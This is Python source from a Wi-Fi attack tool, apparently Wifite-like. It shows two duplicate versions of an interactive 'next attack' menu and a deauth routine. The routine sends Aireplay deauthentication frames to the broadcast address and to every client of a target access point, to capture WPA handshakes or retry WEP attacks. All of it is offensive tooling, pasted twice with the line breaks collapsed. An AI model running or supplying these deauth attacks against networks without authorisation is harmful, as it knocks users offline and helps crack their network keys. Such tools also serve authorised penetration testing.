def user_wants_to_stop(self, current_attack, attacks_remaining, target): ''' Ask user what attack to perform next (re-orders attacks_remaining, returns False), or if we should stop attacking this target (returns True). ''' target_name = target.essid if target.essid_known else target.bssid Color.pl("\n\n{!} {O}Interrupted") Color.pl("{+} {W}Next steps:") # Deauth clients & retry attack_index = 1 Color.pl(" {G}1{W}: {O}Deauth clients{W} and {G}retry{W} {C}%s attack{W} against {G}%s{W}" % (current_attack, target_name)) # Move onto a different WEP attack for attack_name in attacks_remaining: attack_index += 1 Color.pl(" {G}%d{W}: Start new {C}%s attack{W} against {G}%s{W}" % (attack_index, attack_name, target_name)) # Stop attacking entirely attack_index += 1 Color.pl(" {G}%d{W}: {R}Stop attacking, {O}Move onto next target{W}" % attack_index) while True: answer = raw_input(Color.s("{?} Select an option ({G}1-%d{W}): " % attack_index)) if not answer.isdigit() or int(answer) < 1 or int(answer) > attack_index: Color.pl("{!} {R}Invalid input: {O}Must enter a number between {G}1-%d{W}" % attack_index) continue answer = int(answer) break if answer == 1: # Deauth clients & retry deauth_count = 1 Color.clear_entire_line() Color.p("\r{+} {O}Deauthenticating *broadcast*{W} (all clients)...") Aireplay.deauth(target.bssid, essid=target.essid) for client in target.clients: Color.clear_entire_line() Color.p("\r{+} {O}Deauthenticating client {C}%s{W}..." % client.station) Aireplay.deauth(target.bssid, client_mac=client.station, essid=target.essid) deauth_count += 1 Color.clear_entire_line() Color.pl("\r{+} Sent {C}%d {O}deauths{W}" % deauth_count) # Re-insert current attack to top of list of attacks remaining attacks_remaining.insert(0, current_attack) return False # Don't stop elif answer == attack_index: return True # Stop attacking elif answer > 1: # User selected specific attack: Re-order attacks based on desired next-step attacks_remaining.insert(0, attacks_remaining.pop(answer-2)) return False # Don't stop
def deauth(self, target): ''' Sends deauthentication request to broadcast and every client of target. Args: target - The Target to deauth, including clients. ''' if Configuration.no_deauth: return for index, client in enumerate([None] + self.clients): if client is None: target_name = "*broadcast*" else: target_name = client Color.clear_entire_line() Color.pattack("WPA", target, "Handshake capture", "Deauthing {O}%s{W}" % target_name) Aireplay.deauth(target.bssid, client_mac=client, timeout=2)
def user_wants_to_stop(self, current_attack, attacks_remaining, target): ''' Ask user what attack to perform next (re-orders attacks_remaining, returns False), or if we should stop attacking this target (returns True). ''' target_name = target.essid if target.essid_known else target.bssid Color.pl("\n\n{!} {O}Interrupted") Color.pl("{+} {W}Next steps:") # Deauth clients & retry attack_index = 1 Color.pl( " {G}1{W}: {O}Deauth clients{W} and {G}retry{W} {C}%s attack{W} against {G}%s{W}" % (current_attack, target_name)) # Move onto a different WEP attack for attack_name in attacks_remaining: attack_index += 1 Color.pl( " {G}%d{W}: Start new {C}%s attack{W} against {G}%s{W}" % (attack_index, attack_name, target_name)) # Stop attacking entirely attack_index += 1 Color.pl( " {G}%d{W}: {R}Stop attacking, {O}Move onto next target{W}" % attack_index) while True: answer = raw_input( Color.s("{?} Select an option ({G}1-%d{W}): " % attack_index)) if not answer.isdigit() or int(answer) < 1 or int( answer) > attack_index: Color.pl( "{!} {R}Invalid input: {O}Must enter a number between {G}1-%d{W}" % attack_index) continue answer = int(answer) break if answer == 1: # Deauth clients & retry num_deauths = 1 Color.clear_entire_line() Color.p( "\r{+} {O}Deauthenticating *broadcast*{W} (all clients)...") Aireplay.deauth(target.bssid, essid=target.essid) for client in target.clients: Color.clear_entire_line() Color.p("\r{+} {O}Deauthenticating client {C}%s{W}..." % client.station) Aireplay.deauth(target.bssid, client_mac=client.station, essid=target.essid) num_deauths += 1 Color.clear_entire_line() Color.pl("\r{+} Sent {C}%d {O}deauths{W}" % num_deauths) # Re-insert current attack to top of list of attacks remaining attacks_remaining.insert(0, current_attack) return False # Don't stop elif answer == attack_index: return True # Stop attacking elif answer > 1: # User selected specific attack: Re-order attacks based on desired next-step attacks_remaining.insert(0, attacks_remaining.pop(answer - 2)) return False # Don't stop